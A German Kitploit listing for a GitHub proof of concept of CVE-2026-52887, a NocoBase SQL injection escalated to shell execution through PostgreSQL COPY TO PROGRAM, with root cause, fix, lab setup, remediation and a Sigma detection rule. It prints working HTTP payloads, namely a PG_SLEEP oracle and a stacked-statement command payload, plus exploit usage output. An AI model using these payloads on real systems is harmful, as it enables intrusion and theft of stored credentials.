Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/biitts/cve-2026-52887-nocobase-sqli-rce
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsDatenbanksicherheitLabs & Praxis
GitHubbiitts/cve-2026-52887-nocobase-sqli-rce

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — SQL-Injection in NocoBase -> RCE als PostgreSQL-Superuser (myInAppChannels:list-Filter, CVSS 10.0). PoC des Autors + Quellcode-Analyse + Docker-Lab.

Repository anzeigen
vor 17 TagenNoch nicht geprüft

CVE-2026-52887 — NocoBase SQL-Injection → RCE als PostgreSQL-Superuser

SQL-Injection in der Aktion myInAppChannels:list des Plugins @nocobase/plugin-notification-in-app-message von NocoBase (≤ 2.0.60). Der Request-Parameter filter[latestMsgReceiveTimestamp][$lt] wird direkt in einen rohen SQL-String von Sequelize.literal() interpoliert, ohne Escaping oder Bindung. Über die Unterstützung des PostgreSQL-pg-Treibers für gestapelte Anweisungen erreicht die Injection COPY … TO PROGRAM, und da die standardmäßige Compose-Datei des Anbieters die Datenbank-Rolle nocobase als Superuser anlegt, führt dies zur Ausführung von Shell-Befehlen als postgres-Benutzer des Betriebssystems. Der Endpunkt erfordert einen angemeldeten Benutzer, aber das Standard-Plugin auth-basic wird mit aktivierter Selbstregistrierung ausgeliefert, sodass sich jeder anonyme Besucher registrieren und den Endpunkt erreichen kann.

Grundursache

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, myInAppChannels:list-Handler (2.0.57):

root@kitploit:~
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt stammt direkt aus der Request-Query (filter[latestMsgReceiveTimestamp][$lt]=…) und wird in ein Sequelize.literal() konkateniert — rohes SQL, keine Parameterbindung, keine Typumwandlung. Ein Angreifer schließt den Vergleich und hängt beliebiges SQL an.

Von SQLi zu RCE

  • NocoBase läuft auf PostgreSQL über den pg-Treiber, der gestapelte Anweisungen erlaubt (… ; …). Das injizierte Fragment hängt eine zweite Anweisung an.
  • Die standardmäßige docker-compose.yml des Anbieters erstellt die Rolle nocobase über die POSTGRES_USER-Umgebungsvariable des Postgres-Images, die immer ein Superuser ist.
  • Ein Superuser kann COPY (…) TO PROGRAM '<shell>' ausführen und damit <shell> als postgres-Benutzer des Betriebssystems im DB-Container ausführen.

Den Endpunkt ohne Authentifizierung erreichen

Die ACL von myInAppChannels ist loggedIn, aber das Standard-Plugin auth-basic wird mit allowSignUp: true ausgeliefert. Ein anonymer Angreifer registriert sich selbst (POST /api/auth:signUp?authenticator=basic), meldet sich an, um ein Bearer-Token zu erhalten, und fährt fort — bei einer Standardinstallation ist dies in der Praxis also ohne Authentifizierung möglich.

Der Fix (2.0.61)

defineMyInAppChannels.ts fügt parseLatestMsgReceiveTimestampLt() hinzu, das den Wert durch Number() zwingt (nicht-finite / nicht-numerische Eingaben werden mit einem 400 abgelehnt) und auf einen gebundenen Vergleich umstellt:

root@kitploit:~
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

Machbarkeitsnachweis

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s  control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Rohe HTTP-Kette:

root@kitploit:~
POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd akzeptiert jeden Shell-Befehl (Reverse Shell, OAST-Callback, Auslesen von DB-Zeilen über COPY (SELECT …) TO PROGRAM 'cat > /tmp/x' usw.).

Labor nachstellen

Auf diesem Host gibt es keine Docker-Brücke, daher beide Container mit Host-Netzwerk ausführen:

root@kitploit:~
docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

Bei der behobenen Version (abgelehnt):

root@kitploit:~
docker run ... nocobase/nocobase:2.0.61   # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200

Siehe EVIDENCE.txt für das aufgezeichnete Transkript und ANALYSIS.md für die Analyse auf Quellcode-Ebene.

Fazit

BESTÄTIGT VERWUNDBAR auf nocobase/nocobase:2.0.57, verifiziert durch zwei unabhängige Techniken:

  1. Zeitbasierte Blind-SQL-Injection — das PG_SLEEP(5)-Payload verzögert die Antwort um ~5,0 s, während eine identische Anfrage ohne den Sleep auf demselben Endpunkt in ~0,03 s beantwortet wird (schließt einen Rate-Limiter / ein Retry-Artefakt aus).
  2. RCE über gestapelte Anweisungen — eine Datei, die vor der Anfrage nicht existierte, enthält uid=999(postgres) gid=999(postgres), die echte Ausgabe von id(1), ausgeführt als postgres-Benutzer des Betriebssystems, kein Echo des Payloads.

GEPATCHT auf nocobase/nocobase:2.0.61 — beide Payloads liefern HTTP 400, während ein numerischer $lt weiterhin 200 liefert.

Auswirkungen

Remote-Codeausführung als postgres-Benutzer des Betriebssystems innerhalb des Datenbank-Containers: voller Lese-/Schreibzugriff auf die NocoBase-Datenbank, Offenlegung aller gespeicherten Geheimnisse und Benutzeranmeldedaten sowie ein Ausgangspunkt für laterale Bewegung. Auf einer Standardinstallation von jedem anonymen Besucher erreichbar.

Behebung

  • Aktualisieren Sie auf NocoBase ≥ 2.0.61.
  • Führen Sie die PostgreSQL-Rolle der Anwendung nicht als Superuser aus; gewähren Sie nur die Privilegien, die die App benötigt (entfernt das COPY … TO PROGRAM-Primitiv).
  • Deaktivieren Sie die öffentliche Selbstregistrierung (allowSignUp: false), wo diese nicht erforderlich ist.

Erkennung

myInAppChannels:list-Anfragen, deren filter[latestMsgReceiveTimestamp][$lt]-Wert keine einfache Zahl ist, sowie PostgreSQL-Logs, die COPY … TO PROGRAM enthalten:

root@kitploit:~
GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (Webserver-Zugriffslog):

root@kitploit:~
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

Lizenz

MIT. © Caio Fabrício (BiiTts).

Tool herunterladen
CVECVE-2026-52887
ProduktNocoBase (@nocobase/plugin-notification-in-app-message)
Betroffen≤ 2.0.60 (verifiziert auf nocobase/nocobase:2.0.57)
Behoben2.0.61
KlasseSQL-Injection (CWE-89) → Ausführung von Betriebssystem-Befehlen
CVSS 3.110.0 KRITISCH — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA)
AuthentifizierungEffektiv ohne Authentifizierung — Standard auth-basic allowSignUp: true
StatusBESTÄTIGT VERWUNDBAR — Ende-zu-Ende verifiziert auf 2.0.57